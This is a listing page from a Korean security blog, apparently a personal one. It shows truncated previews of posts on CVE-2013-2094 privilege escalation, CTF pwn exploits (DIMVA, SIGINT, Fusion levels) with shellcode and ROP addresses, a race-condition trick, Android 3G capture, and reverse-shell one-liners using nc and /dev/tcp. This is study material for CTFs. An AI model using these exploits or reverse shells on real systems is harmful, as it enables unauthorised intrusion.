본문 바로가기

전체

CVE-2013-2094 리눅스 로컬권한상승 취약점 원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만.. 이 취약점은 2013년 5월 14일에 발표되었다.그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)상당히 심각한 취약점이니, 꼭 패치를 해야한다. tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-releaseNAME="Ubuntu"VERSION="13.04, Raring Ringtail"...tunz@ubuntu:~/cve-2013-2094$ uname -aLinux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_6.. 더보기
Race Condition one-shot exploit 레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능) 참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/ #include #include #include #include #i.. 더보기
[DIMVA 2013] pwn 200 exploit 같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.이건, pwn 100에서 딴 쉘을 이용해서 풀었다.pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다. 아래는 익스플로잇(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.) from socket import * from struct import * import hashlib import time for i in range.. 더보기
[DIMVA 2013] pwn 100 exploit NX가 걸려있지 않았고, 레지스트를 보여줬다.그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다. from struct import * import hashlib import time import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024) fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # ./msfvenom.. 더보기
모바일에서 3G 패킷 캡쳐하기 (안드로이드 기준으로 설명한다.) 우선 adb와 busybox를 설치해서 기본 세팅을 해둔다. (윈도우보단 우분투에서 adb를 설치하는게 좋은듯) 그리고 su로 루트로 접속하고, WiFi는 꺼둔다. 원래는 그냥 tcpdump를 다운받아서, 다른것처럼 rmnet0나 rmnet_usb0를 덤프하면 된다. 하지만, rmnet_usb0를 덤프하려고 하면, 이름때문에 usb라고 착각을 하면서 덤프가 잘 안된다. root@android:/data/local # ./tcpdump -i rmnet_usb0 -Xtcpdump: Can't get USB bus index from rmnet_usb0 그래서 해당부분을 바이너리패치했다. (그래서, 이 파일로는 진짜 usb 덤프는 불가능하다.) 파일을 디바이스에 올리고, 실행.. 더보기
[exploit-exercises] Fusion level 04 from socket import * import time import base64 from struct import * base_addr = 0xb782970d - 0x170d # get from stack smashing information libc_base = 0xb7698113 - 0xf3 - 0x19020 # get from stack smashing information read = base_addr + 0xd20 system = libc_base + 0x3cb20 pppr = base_addr + 0x19ba bss = base_addr + 0x4240 + 0x300 # password check """ lists = range(ord('0'),ord('9')+1) + range(ord('.. 더보기
[exploit-exercises] Fusion level 03 from socket import * from struct import * import hmac from hashlib import sha1 # contents: 0x804bdf4 # 0804: 0x8048584+7 # 8f: 804bda4+1 # 30: 80482a4 rand_plt = 0x08048f30 rand_got = 0x804bd98 memcpy = 0x8048e60 gContents = 0x804bdf4 ppppr = 0x804a26c pop_ebx = 0x8049402 # pop ebx ; pop ebp ;; pop_eax = 0x8049b4f # pop eax ; add esp 0x5c ;; add_eax_ebx = 0x80493f9 # add eax 0x804bde4 ; add [ebx.. 더보기
시스템함수를 통한 리버스텔넷 (추가) 몇몇 라이트업들을 보니 "nc -e /bin/sh IP PORT" 등으로 리버스텔넷을 하는 경우가 있다.근데, 난 안됀다... e옵션이 없다.그래서 찾아본 다른 방법 victimsystem("mkfifo /tmp/tunz; nc IP PORT 0 /tmp/tunz") attacker$ nc -l -p PORT -vvv (단, 접속후 큐파일, /tmp/tunz은 꼭 지우도록 한다.) 추가) /bin/bash -i >& /dev/tcp/IP/PORT 0>&1 /dev/tcp 가 있으면 그냥, 저기에 IP,PORT만 써넣으면 됌 더보기
[exploit-exercises] Fusion level 02 from socket import * from struct import * import time def cipher(s,key): i=0 after="" while i 더보기
[SIGINT 2013] trollsex(tr0llsex) exploit import socket import sctp from struct import * s = sctp.sctpsocket_tcp(socket.AF_INET) s.connect(('188.40.147.118',1024)) #s.connect(('127.0.0.1',1024)) print s.recv(1024) cmd = "system\x00" s.sctp_send(cmd+"A"*(24-len(cmd))+pack(' 더보기